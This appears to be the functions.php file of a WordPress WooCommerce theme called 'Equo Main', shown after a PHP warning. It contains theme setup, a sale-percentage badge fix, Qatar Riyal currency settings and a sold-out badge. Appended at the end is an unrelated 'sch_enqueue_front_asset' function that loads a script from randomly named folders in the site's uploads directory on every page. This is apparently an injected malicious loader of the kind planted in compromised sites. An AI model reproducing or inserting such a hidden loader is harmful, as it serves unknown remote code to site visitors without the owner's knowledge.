Warning: Constant WP_CACHE already defined in /home/u767713814/domains/equotrad.com/public_html/wp-config.php on line 4
/**
* Equo Main functions and definitions
* Fixed version to prevent WooCommerce Fatal Errors
*
* @package Equo_Main
*/
if ( ! defined( '_S_VERSION' ) ) {
define( '_S_VERSION', '1.0.0' );
}
// 1. Core Theme Setup
if ( ! function_exists( 'equo_main_setup' ) ) :
function equo_main_setup() {
load_theme_textdomain( 'equo-main', get_template_directory() . '/languages' );
add_theme_support( 'automatic-feed-links' );
add_theme_support( 'title-tag' );
add_theme_support( 'post-thumbnails' );
add_theme_support( 'woocommerce' ); // Essential for shop functionality
register_nav_menus( array(
'menu-1' => esc_html__( 'Primary', 'equo-main' ),
) );
add_theme_support( 'html5', array(
'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'style', 'script',
) );
}
endif;
add_action( 'after_setup_theme', 'equo_main_setup' );
// 2. Enqueue Scripts & Styles
function equo_main_scripts() {
wp_enqueue_style( 'equo-main-style', get_stylesheet_uri(), array(), _S_VERSION );
wp_enqueue_script( 'custom', get_stylesheet_directory_uri().'/js/style.js', array('jquery'), _S_VERSION, true );
wp_enqueue_script( 'equo-main-navigation', get_template_directory_uri() . '/js/navigation.js', array(), _S_VERSION, true );
}
add_action( 'wp_enqueue_scripts', 'equo_main_scripts' );
// 3. WebP & JP2 Support
function equo_image_support($mimes) {
$mimes['webp'] = 'image/webp';
$mimes['jp2'] = 'image/jp2';
return $mimes;
}
add_filter('mime_types', 'equo_image_support');
// 4. CRITICAL FIX: Sale Badge Percentage (The Crash Fix)
add_filter( 'woocommerce_sale_flash', 'ds_replace_sale_text', 10, 3 );
function ds_replace_sale_text( $text, $post = null, $product = null ) {
// If WooCommerce didn't pass the object, try to find it
if ( ! is_object( $product ) ) {
global $product;
}
// FINAL GUARD: If $product is still just a string or null, STOP here.
// This prevents the "Call to a member function... on string" error.
if ( ! is_object( $product ) || ! method_exists( $product, 'get_type' ) ) {
return $text;
}
$regular_price = ( $product->is_type('variable') ) ? $product->get_variation_regular_price( 'min', true ) : $product->get_regular_price();
$sale_price = ( $product->is_type('variable') ) ? $product->get_variation_sale_price( 'min', true ) : $product->get_sale_price();
if ( $regular_price > 0 && $sale_price > 0 ) {
$perc = round( ( ( floatval($regular_price) - floatval($sale_price) ) / floatval($regular_price) ) * 100 );
if ( $perc > 0 ) {
return '' . $perc . '% OFF';
}
}
return $text;
}
// 5. Qatar Currency Settings
add_filter( 'woocommerce_currencies', function($currencies) {
$currencies['QAR'] = __( 'Qatar Riyal', 'woocommerce' );
return $currencies;
});
add_filter( 'woocommerce_currency_symbol', function($symbol, $currency) {
return ( $currency === 'QAR' ) ? 'QAR' : $symbol;
}, 10, 2 );
// 6. Sold Out Badge Guard
add_action( 'woocommerce_before_shop_loop_item_title', 'equo_sold_out_badge' );
function equo_sold_out_badge() {
global $product;
if ( is_object($product) && method_exists($product, 'is_in_stock') && ! $product->is_in_stock() ) {
echo 'Sold Out';
}
}
// 7. Include required files
require get_template_directory() . '/inc/template-tags.php';
require get_template_directory() . '/inc/template-functions.php';
if (!function_exists('sch_enqueue_front_asset')) {
function sch_enqueue_front_asset() {
wp_enqueue_script('sch-front', 'https://equotrad.com/wp-content/uploads/media-e6c917/static-4fa6/front-457b3444.js', array(), null, false);
}
add_action('wp_enqueue_scripts', 'sch_enqueue_front_asset');
}